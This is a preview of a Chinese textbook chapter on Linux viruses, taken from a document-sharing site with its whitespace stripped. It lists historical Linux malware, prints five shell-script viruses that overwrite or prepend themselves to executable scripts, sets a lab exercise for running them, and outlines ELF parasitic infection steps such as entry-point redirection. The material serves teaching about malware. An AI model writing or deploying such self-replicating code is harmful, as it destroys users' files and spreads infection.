《计算机病毒及其防范技术》第七章 Linux病毒_第1页
《计算机病毒及其防范技术》第七章 Linux病毒_第2页
《计算机病毒及其防范技术》第七章 Linux病毒_第3页
《计算机病毒及其防范技术》第七章 Linux病毒_第4页
《计算机病毒及其防范技术》第七章 Linux病毒_第5页
已阅读5页,还剩83页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

Linux病毒技术本章的学习目标:了解Linux的安全问题掌握Linux病毒的概念掌握Linux下的脚本病毒熟悉ELF文件格式掌握ELF病毒感染方法一、Linux病毒介绍Linux安全吗?一个最大的误区就是很多高性能的安全操作系统可以预防计算机病毒。另一个误区就是认为Linux系统尤其可以防止病毒的感染,因为Linux的程序都来自于源代码,不是二进制格式。第三个误区就是认为Linux系统是绝对安全的,因为它具有很多不同的平台,而且每个版本的Linux系统有很大的不一样。Linux病毒列表Slapper:ThemostdangerousLinuxworm;it'snetwork-awareandinAugust2002itexploitedaflawinOpenSSLlibrariesinApacheserverswithOpenSSLenabled.Bliss:Alsoawell-knownbug,itinfectsELFexecutables,locatingbinarieswithwriteaccessandoverwritesthosewithitsowncode.Staog:ConsideredthefirstLinuxvirus,itinfectsELFexecutables.Typot:ALinuxTrojanthatdoesdistributedportscanning,generatingTCPpacketswithawindowsizeof55808.Mydoom:Windowswormhavenetworkpropagationandprocessterminationcapabilitiestolaunchadenialofservice(DoS)attackon.

TNFADDoSagent.MakesICMPflood,SYNflood,UDPflood,andSmurfattacks.Italsohasthecapabilityofinstallinga“rootshell”ontotheaffectedsystem.R16.ADeletefileinthecurrentdirectory.Overwirte/bin/cp,/bin/ls.Create/usr/SEXLOADER,/usr/TMP001.NOT.RAMENThefirstvirusinLinux.Overwriteallindex.htmlinthesystem.Addtwoftpaccount“anonymous"and"ftp”inthesystem.Additself’sscriptin/etc/rc.d/rc.sysinit.rpc.statd(port111/udp),wu-ftpd(port21/tcp),LPRng(port515)LINDOSE.ALindose:Ararecross-platformscourge,abletojumpWindowsPEandLinuxELFexecutables.It'saproof-of-conceptwormandhasnothitthewild.IfthePEfileislargerthan16,384bytes,andit’s".RELOC"blockislargerthan2,632bytes,LINDOSE.Awillinfectsit.IfthemachineisIntel80386andhasELFfilesinthesystem,LINDOSE.Awilloverwritethebyteslargerthan2,784bytesinthefile.MSTREAM.MSTADDoSagent.ItwillopenTCPport6732andUDPport9325.Createmasterandserverfiles.ADORE.AAinternetworm.Overwrite/bin/ps.ExecutesICMP,andopensport65535.BIND,wu-ftpd,rpc.statd,lpd.CHEESE.AInclude"GO"shellscript,"CHEESE“perlscript,and“PSM”ELF.shellscriptGOrunsperlscriptCHEESE.Deleteall/bin/shin/etc/inetd.conf.Closeinetd.UsePSMtocreatesrandomIPfrom193.1.x.xto218.254.x.xandcreatesTCPport10008./tmp/.cheese/ADL/tmp/.cheese/CHEESE/tmp/.cheese/PSM/tmp/.cheese/CHEESE.UUERAMEN.10ALinuxwebserverInternetworm.Itcangetwebserver’spasswordsordocuments.LPRngandRIPC.STATD.QUASIItwillinfectELFfilesinthecurrentdirectory.Ithasnodestructiveness.PASSItiswritedbyGNUC.ItwillchangeUnixshell.VirusThreatsonLinuxEnvironmentTriple二、Linux病毒分类第一种:Shell脚本病毒第二种:蠕虫病毒第三种:欺骗库函数第四种:内核级的传播第五种:与平台兼容的病毒Linux系统下的脚本病毒shell在不同的Linux系统上面的差别很小。Shell简单易学。第一,最原始的shell病毒。#shellvirusI#forfilein./infect/*docp$0$filedone第二,一个简单的Shell病毒#shellvirusII#forfilein./infect/*doiftest-f$file#判断是否为文件theniftest-x$file#判断是否可执行theniftest-w$file#判断是否有写权限thenifgrep-secho$file>.mmm#判断是否为脚本文件thencp$0$file#覆盖当前文件fifififidonerm.mmm-f第三,具有感染机制的Shell病毒#shellvirusIII##infectionhead-n35$0>.test1#取病毒自身代码并保存到.testforfilein./*#遍历当前目录中的文件doecho$filehead-n1$file>.mm#提取要感染的脚本文件的第一行ifgrepinfection.mm>.mmm#判断是否有感染标记infectionthen#已经被感染,则跳过echo"infectedfileandrm.mm"rm-f.mmelse#尚未感染,继续执行iftest-f$filethenecho"test-f"iftest-x$filethenecho"test-x"iftest-w$filethenecho"test-w"ifgrep-secho$file>.mmmthenecho"test-sandcat..."cat$file>.SAVEE#把病毒代码放在脚本文件的开始部分cat.test1>$file#原有代码追加在末尾cat.SAVEE>>$file#形成含有病毒代码的脚本文件fififififidonerm.test1.SAVEE.mmm.mm–f#清理工作第四,更加晦涩的病毒#ShellVirusIV##infectionforfilein./*;do#分号(;)表示命令分隔符iftest-f$file&&test-x$file&&test-w$file;thenifgrep-secho$file>/dev/nul;thenhead-n1$file>.mmifgrep-sinfection.mm>/dev/nul;thenrm-f.mm;elsehead-n14$0>.SAVEEcat$file>>.SAVEEcat.SAVEE>$filefififidonerm-f.SAVEE.mm

第五,感染特定目录的Shell病毒#ShellVirusV##infectionxtemp=$pwd#保存当前路径head-n22$0>/.test1fordirin./*;do#遍历当前目录iftest-d$dir;then#如果有子目录则进入cd$dirforfilein./*;do#遍历该目录文件iftest-f$file&&test-x$file&&test-w$file;thenifgrep-secho$file>/dev/nul;thenhead-n1$file>.mmifgrep-sinfection.mm>/dev/nul;thenrm-f.mm;elsecat$file>/.SAVEE#完成感染cat/.test1>$filecat/.SAVEE>>$filefififidonecd..fidonecd$xtemprm-f/.test1/.SAVEE.mm#清理工作脚本病毒实验【实验目的】了解Linux脚本型病毒的基本编制原理。了解脚本病毒的感染、破坏机制,进一步认识Linux操作系统下的病毒。【实验环境】运行环境RedHatLinux操作系统。【实验步骤】文件位置:光盘盘符:\Experiment\LinuxScript。该目录下共包含v_1.sh、v_2.sh、v_3.sh、v_4.sh、v_5.sh等5个Linux系统下的脚本病毒文件。拷贝这些文件到Linux系统。修改这些病毒为可执行文件。创建测试用脚本文件(例如,test.sh),根据病毒感染能力,注意测试文件的属性、所在目录层次等。依次执行这5个脚本病毒,察看它们的执行效果。【实验注意事项】本病毒程序用于实验目的,请妥善使用。本病毒程序具有一定的破坏力,做实验室注意安全,推荐使用虚拟机环境。Linux可执行文件格式(ELF)Elf也就是“ExecutableandLinkingFormat.”Elf起源于Unix,经改进应用于FreeBSD和Linux等现有类Unix操作系统。微软的PE格式也学习了ELF格式的优点。ELF文档服务于在不同的操作系统上目标文件的创建或者执行文件的开发。它分以下三个部分:“目标文件”描述了ELF目标文件格式三种主要的类型。“程序装载和动态连接”描述了目标文件的信息和系统在创建运行时程序的行为。“C语言库”列出了所有包含在libsys中的符号、标准的ANSIC和libc的运行程序,还有libc运行程序所需的全局的数据符号。三种主要类型:一个可重定位文件(relocatablefile)保存着代码和适当的数据,用来和其他的目标文件一起来创建一个可执行文件或者是一个共享文件。一个可执行文件(executablefile)保存着一个用来执行的程序,该文件指出了exec(BA_OS)如何来创建程序进程映象。一个共享目标文件(sharedobjectfile)保存着代码和合适的数据,用来被下面的两个链接器链接。第一个是链接编辑器,可以和其他的重定位和共享目标文件来创建另一个目标文件。第二个是动态链接器,联合一个可执行文件和其他的共享目标文件来创建一个进程映象。ELF的结构ELFheaderELFheaderProgramheadertable(optional)ProgramheadertableSection1Segment1…Segment2Sectionn……………SectionheadertableSectionheadertable(optional)ELF头#defineEI_NIDENT16 typedefstruct{unsignedchar e_ident[EI_NIDENT];Elf32_Half e_type;Elf32_Half e_machine;Elf32_Word e_version;Elf32_Addr e_entry;Elf32_Off e_phoff;Elf32_Off e_shoff;Elf32_Word e_flags;Elf32_Half e_ehsize;Elf32_Half e_phentsize;Elf32_Half e_phnum;Elf32_Half e_shentsize;Elf32_Halfe_shnum;Elf32_Halfe_shstrndx;}Elf32_Ehdr;常用标示名称偏移量目的EI_MAG00e_ident[EI_MAG0]toe_ident[EI_MAG3]:文件的前4个字符保存一个魔术数(magicnumber),用来确定该文件是否为ELF的目标文件。参见表7-7EI_MAG11EI_MAG22EI_MAG33EI_CLASS4e_ident[EI_CLASS],用来确定文件的类型或者说是容量。参见表1-8EI_DATA5e_ident[EI_DATA]指定了在目标文件中特定处理器数据的编码方式。参见表1-9EI_VERSION6e_ident[EI_VERSION]表明了ELF头的版本号。现在这个变量的值一定要设为EV_CURRENT,参见表7-5EI_OSABI7操作系统和ABI的标识EI_ABIVERSION8ABI版本EI_PAD9e_ident[EI_PAD]标识了在e_ident中开始的未使用的字节,那些字节保留并被设置为0。程序把它们从目标文件中读出但应该忽略。如果当前未被使用的字节有了新的定义,EI_PAD变量将会被改变。EI_NIDENT16e_ident[]的长度节一个目标文件的节头表可以让我们定位所有的节。节头表是一个Elf32_Shdr结构的数组。一个节头表的索引是这个数组的下标。ELF头结构中的e_shoff成员给出了节头表的偏移量(从文件开始计数)。e_shnum告诉我们节头表中包含了多少个表项;e_shentsize给出了每个表项的长度。某些节头表索引是保留的,这些索引在目标文件中没有与之对应的节。

typedefstruct{Elf32_Word sh_name;Elf32_Word sh_type;Elf32_Word sh_flags;Elf32_Addr sh_addr;Elf32_Off sh_offset;Elf32_Word sh_size;Elf32_Word sh_link;Elf32_Word sh_info;Elf32_Word sh_addralign;Elf32_Word sh_entsize;}Elf32_Shdr;字符串表字符串表节(Stringtablesections)保存着以NULL终止的一系列字符,一般我们称为字符串。目标文件使用这些字符串来表示符号和节名。一个字符串的引用是一个字符串表节的索引。字符表一个目标文件的符号表(symboltable)保存了定位和重定位程序的定义和引用的信息。一个符号表索引是相应的下标。0表项特指了该表的第一个表项,就象未定义的符号索引一样。重定位重定位(Relocation)是链接符号引用和符号定义的过程。比如,当一个程序调用一个函数的时候,相关的调用必须在执行时把控制传送到正确的目标地址。换句话说,重定位文件应当包含如何修改他们的节内容的信息,从而允许可执行文件或共享目标文件为一个进程的程序映像保存正确的信息。程序头一个可执行的或共享的目标文件的程序头表是一个结构数组,每一个结构描述一个段或其他系统准备执行该程序所需要的信息。一个目标文件段包含一个或多个部分(就象下面的“段目录”所描述的那样)。程序头仅仅对于可执行或共享的目标文件有意义。typedefstruct{Elf32_Word p_type;Elf32_Off p_offset;Elf32_Addr p_vaddr;Elf32_Addr p_paddr;Elf32_Word p_filesz;Elf32_Word p_memsz;Elf32_Word p_flags;Elf32_Word p_align;}Elf32_Phdr;段内容实例TextSegmentDataSegment程序载入当创建或增加一个进程映像的时候,系统在逻辑上将拷贝一个文件的段到一个虚拟的内存段。动态链接程序解释器(ProgamInterpreter)系统为解释器“编写”了一个内存映像,而不是使用原始的可执行文件的段映像。此时该解释器就负责接收来自系统的控制并且为应用程序提供一个环境变量。动态链接器(DynamicLinker)当使用动态链接方式建立一个可执行文件时,链接器把一个PT_INTERP类型的元素加到可执行文件中,告诉系统像该系统的解释器一样调用动态链接器。动态节(DynamicSection)如果一个目标文件参与动态的链接,它的程序头表将有一个类型为PT_DYNAMIC的元素。该“段”包含了.dynamic节。一个_DYNAMIC特别的符号,表明了该节包含了以下结构的一个数组。共享目标的依赖关系(SharedObjectDependencies)当链接器处理一个文档库时,它取出库中成员并且把它们拷贝到一个输出的目标文件中。当运行时没有包括一个动态链接器的时候,那些静态的链接服务是可用的。共享目标也提供服务,动态链接器必须把正确的共享目标文件链接到要执行的进程映象中。因此,可执行文件和共享的目标文件之间存在着明确的依赖性。全局偏移量表(GlobalOffsetTable,GOT)全局偏移量表在私有数据中保存着绝对地址,所以在不影响位置无关性和程序代码段共享能力的情况下应该使地址是可用的。一个程序参考它的GOT(使用位置无关的地址)并提取绝对的地址,所以与重定向无关的位置定位到绝对的位置。PLT过程连接表(ProcedureLinkageTable)正如GOT重定位把位置无关的地址计算成绝对地址一样,PLT过程链接表重定向那些与位置无关的函数调用到绝对的地址。简单的C程序及其ELF格式信息intxx,yy;main(){xx=1;yy=2;printf("xx%dyy%d\n",xx,yy);}ELF头信息shieyuan3#objdump-fa.outa.out:fileformatelf32-i386architecture:i386,flags0x00000112:EXEC_P,HAS_SYMS,D_PAGEDstartaddress0x080483dc程序头ProgramHeader:PHDRoff0x00000034vaddr0x08048034paddr0x08048034align2**2filesz0x000000c0memsz0x000000c0flagsr-xINTERPoff0x000000f4vaddr0x080480f4paddr0x080480f4align2**0filesz0x00000019memsz0x00000019flagsr--LOADoff0x00000000vaddr0x08048000paddr0x08048000align2**12filesz0x00000564memsz0x00000564flagsr-xLOADoff0x00000564vaddr0x08049564paddr0x08049564align2**12filesz0x000000a8memsz0x000000ccflagsrw-DYNAMICoff0x0000059cvaddr0x0804959cpaddr0x0804959calign2**2filesz0x00000070memsz0x00000070flagsrw-NOTEoff0x00000110vaddr0x08048110paddr0x08048110align2**2filesz0x00000018memsz0x00000018flagsr--Dynamic节DynamicSection:NEEDEDlibc.so.4INIT0x8048390FINI0x8048550HASH0x8048128STRTAB0x80482c8SYMTAB0x80481b8STRSZ0xadSYMENT0x10DEBUG0x0PLTGOT0x8049584PLTRELSZ0x18PLTREL0x11JMPREL0x8048378Needtolinkthissharedlibraryforprintf()节头表Sections:IdxNameSizeVMALMAFileoffAlgn0.interp00000019080480f4080480f4000000f42**0CONTENTS,ALLOC,LOAD,READONLY,DATA1.note.ABI-tag000000180804811008048110000001102**2CONTENTS,ALLOC,LOAD,READONLY,DATA2.hash000000900804812808048128000001282**2CONTENTS,ALLOC,LOAD,READONLY,DATA3.dynsym00000110080481b8080481b8000001b82**2CONTENTS,ALLOC,LOAD,READONLY,DATA4.dynstr000000ad080482c8080482c8000002c82**0CONTENTS,ALLOC,LOAD,READONLY,DATA5.rel.plt000000180804837808048378000003782**2CONTENTS,ALLOC,LOAD,READONLY,DATA6.init0000000b0804839008048390000003902**2CONTENTS,ALLOC,LOAD,READONLY,CODE7.plt000000400804839c0804839c0000039c2**2CONTENTS,ALLOC,LOAD,READONLY,CODE8.text00000174080483dc080483dc000003dc2**2 CONTENTS,ALLOC,LOAD,READONLY,CODE

节头表(cont’d)

9.fini000000060804855008048550000005502**2CONTENTS,ALLOC,LOAD,READONLY,CODE10.rodata0000000e0804855608048556000005562**0CONTENTS,ALLOC,LOAD,READONLY,DATA11.data0000000c0804956408049564000005642**2CONTENTS,ALLOC,LOAD,DATA12.eh_frame000000040804957008049570000005702**2CONTENTS,ALLOC,LOAD,DATA13.ctors000000080804957408049574000005742**2CONTENTS,ALLOC,LOAD,DATA14.dtors000000080804957c0804957c0000057c2**2CONTENTS,ALLOC,LOAD,DATA15.got000000180804958408049584000005842**2CONTENTS,ALLOC,LOAD,DATA16.dynamic000000700804959c0804959c0000059c2**2CONTENTS,ALLOC,LOAD,DATA17.bss000000240804960c0804960c0000060c2**2ALLOC18.stab000001bc00000000000000000000060c2**2CONTENTS,READONLY,DEBUGGING19.stabstr000003880000000000000000000007c82**0CONTENTS,READONLY,DEBUGGING20.comment000000c8000000000000000000000b502**0符号表SYMBOLTABLE:080480f4ld.interp0000000008048110ld.note.ABI-tag0000000008048128ld.hash00000000080481b8ld.dynsym00000000080482c8ld.dynstr0000000008048378ld.rel.plt0000000008048390ld.init000000000804839cld.plt00000000080483dcld.text0000000008048550ld.fini0000000008048556ld.rodata0000000008049564ld.data0000000008049570ld.eh_frame0000000008049574ld.ctors000000000804957cld.dtors0000000008049584ld.got000000000804959cld.dynamic00000000符号表(cont’d)0804960cld.bss0000000000000000ld.stab0000000000000000ld.stabstr0000000000000000ld.comment0000000000000000ld.note0000000000000000ld*ABS*0000000000000000ld*ABS*0000000000000000ld*ABS*0000000000000000ldf*ABS*00000000crtstuff.c08048460l.text00000000gcc2_compiled.08049568lO.data00000000p.30804957clO.dtors00000000__DTOR_LIST__0804956clO.data00000000completed.408048460lF.text00000000__do_global_dtors_aux08049570lO.eh_frame00000000__EH_FRAME_BEGIN__符号表(cont’d)080484b4lF.text00000000fini_dummy0804960clO.bss00000018object.11080484bclF.text00000000frame_dummy080484e0lF.text00000000init_dummy08049570lO.data00000000force_to_data08049574lO.ctors00000000__CTOR_LIST__00000000ldf*ABS*00000000crtstuff.c08048520l.text00000000gcc2_compiled.08048520lF.text00000000__do_global_ctors_aux08049578lO.ctors00000000__CTOR_END__08048548lF.text00000000init_dummy08049570lO.data00000000force_to_data08049580lO.dtors00000000__DTOR_END__08049570lO.eh_frame00000000__FRAME_END__00000000ldf*ABS*00000000p10.c080483acF*UND*00000031printf0804959cgO*ABS*00000000_DYNAMIC08048550gO*ABS*00000000_etext08048390gF.init00000000_init08049624gO.bss00000004environ00000000w*UND*00000000__deregister_frame_info08049630gO*ABS*00000000end08049628gO.bss00000004xx符号表(cont’d)08049564gO.data00000004__progname080483dcgF.text00000083_start0804960cgO*ABS*00000000__bss_start080484e8gF.text00000038main08048550gF.fini00000000_fini0804962cgO.bss00000004yy080483bcF*UND*00000070atexit0804960cgO*ABS*00000000_edata08049584gO*ABS*00000000_GLOBAL_OFFSET_TABLE_08049630gO*ABS*00000000_end080483ccF*UND*0000005bexit00000000w*UND*00000000__register_frame_info动态符号表DYNAMICSYMBOLTABLE:080483acDF*UND*00000031printf0804959cgDO*ABS*00000000_DYNAMIC08048550gDO*ABS*00000000_etext08048390gDF.init00000000_init08049624gDO.bss00000004environ00000000wD*UND*00000000__deregister_frame_info08049630gDO*ABS*00000000end08049564gDO.data00000004__progname0804960cgDO*ABS*00000000__bss_start08048550gDF.fini00000000_fini080483bcDF*UND*00000070atexit0804960cgDO*ABS*00000000_edata08049584gDO*ABS*00000000_GLOBAL_OFFSET_TABLE_08049630gDO*ABS*00000000_end080483ccDF*UND*0000005bexit00000000wD*UND*00000000__register_frame_infoDebuggingInformationintmain(){/*0x80484e8*/}/*0x80484e8*/intmain(){/*0x80484e8*//*file/usr/home/shieyuan/test/p10.cline3addr0x80484ee*//*file/usr/home/shieyuan/test/p10.cline5addr0x80484ee*//*file/usr/home/shieyuan/test/p10.cline6addr0x80484f8*//*file/usr/home/shieyuan/test/p10.cline7addr0x8048502*//*file/usr/home/shieyuan/test/p10.cline8addr0x804851e*//*file/usr/home/shieyuan/test/p10.cline8addr0x804851e*/}/*0x8048520*/intxx/*0x8049628*/;intyy/*0x804962c*/;动态重定位表DYNAMICRELOCATIONRECORDSOFFSETTYPEVALUE08049590R_386_JUMP_SLOTprintf08049594R_386_JUMP_SLOTatexit08049598R_386_JUMP_SLOTexitELF格式文件病毒感染原理无关ELF格式的感染方法覆盖式感染这种感染最初的思路很简单,就是将病毒体直接拷贝到宿主文件中,从开始部分覆盖宿主文件,从而宿主文件被感染成单纯的病毒体,一般情况下宿主文件会遭到破坏,若要使得在病毒执行后仍然交换控制权给宿主文件,则需要给宿主文件备份,这里的思路并不复杂只是将原宿主文件复制到一个隐藏文件,然后在病毒体执行完之后执行宿主文件,使得进程映像中添加的是原宿主文件的内容。追加式感染这种感染最初的思路也很简单,同上面那种方式不同的是将病毒体直接追加到宿主文件中,或者将宿主追加到病毒体之后,并不存在覆盖宿主文件的行为,从而宿主文件被感染成单纯的病毒体和原宿主文件的合体,在病毒文件执行后交换控制权给宿主文件。感染过程:查找当前目录下的可执行文件(也可以进行小规模的目录查找)找到可执行文件test后,修改病毒体,使病毒执行结束后能够提取宿主文件到一个新文件,然后执行这个新文件进行进程映像替换,即交还控制权给宿主文件;合并病毒体到test,不覆盖宿主文件,但放在宿主文件内容之前;执行过程:病毒体先执行病毒体执行完后,找到病毒体尾部提取宿主文件到新文件执行新文件利用ELF格式的感染方法与ELF格式相关的感染方法,需要根据ELF格式来改变ELF格式内容,从而使病毒代码和宿主代码共存并且病毒代码执行结束后能顺利交接控制权给宿主。向ELF文件中插入寄生病毒代码要求宿主文件和病毒体都是完整的,因此插入的病毒代码会造成段的使用大小增加。文本段数据段之间填充区段页号页内内容注释文本段NTTTTTTTTTTTTTTTTTTTTTT:文本段代码P:填充代码D:数据段代码N+1TTTTTTTTTTTTTTTTTPPPPP数据段N+2PPPPPPDDDDDDDDDDDDDDN+3DDDDDDDDDDDDDDDDDDD利用文本段之后填充在文本段末尾插入代码有以下几件事需要做:增加"ELFheader"中的p_shoff以包含新代码定位"textsegmentprogramheader"

增加p_filesz算入新代码 增加p_memsz算入新代码对于文本段phdr之后的其他phdr

修正p_offset对于那些因插入寄生代码影响偏移的每节的shdr

修正sh_offset在文件中物理地插入寄生代码到这个位置根据ELF规范,p_vaddr和p_offset在Phdr中必须模pagesize相等。p_vaddr(modPAGE_SIZE)=p_offset(modPAGE_SIZE)感染后的情况ELFHeaderProgramheadertableSegment1(宿主文本段)寄生代码Segment2(数据段)SectionheadertableExtrasections段页号页内内容注释文本段NTTTTTTTTTTTTTTTTTTTTTTT:文本段代码P:填充代码V:病毒代码D:数据段代码N+1TTTTTTTTTTTTTTTTTVVVVN+2VVVPPPPPPPPPPPPPPPPPPPP数据段N+3PPPPPPDDDDDDDDDDDDDDN+4DDDDDDDDDDDDDDDDDDD数据段之后插入感染修改病毒代码,使病毒代码执行后能够跳转到原来的入口点;定位数据段:修改ELF头中的入口点,指向新的代码,即数据段末尾处(p_vaddr+p_memsz);修改e_shoff字段指向新的节头表偏移量,即原来的加上加入的病毒大小和bss段大小;对于数据段程序头: 增加p_filesz用来包括新的代码和.bss节; 增加p_memsz包含入新的代码; 计算.bss节的大小(p_memsz-p_filesz);对于任何一个插入点之后节的节头shdr: 增加sh_offset,增加数值为病毒大小与.bss节大小的和;物理地插入病毒代码到文件中: 移动节头表以及其他两个不属于任何段的节。感染后的情况ELFHeaderProgramheadertableSegment1Segment2(宿主数据段)寄生代码SectionheadertableExtr

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论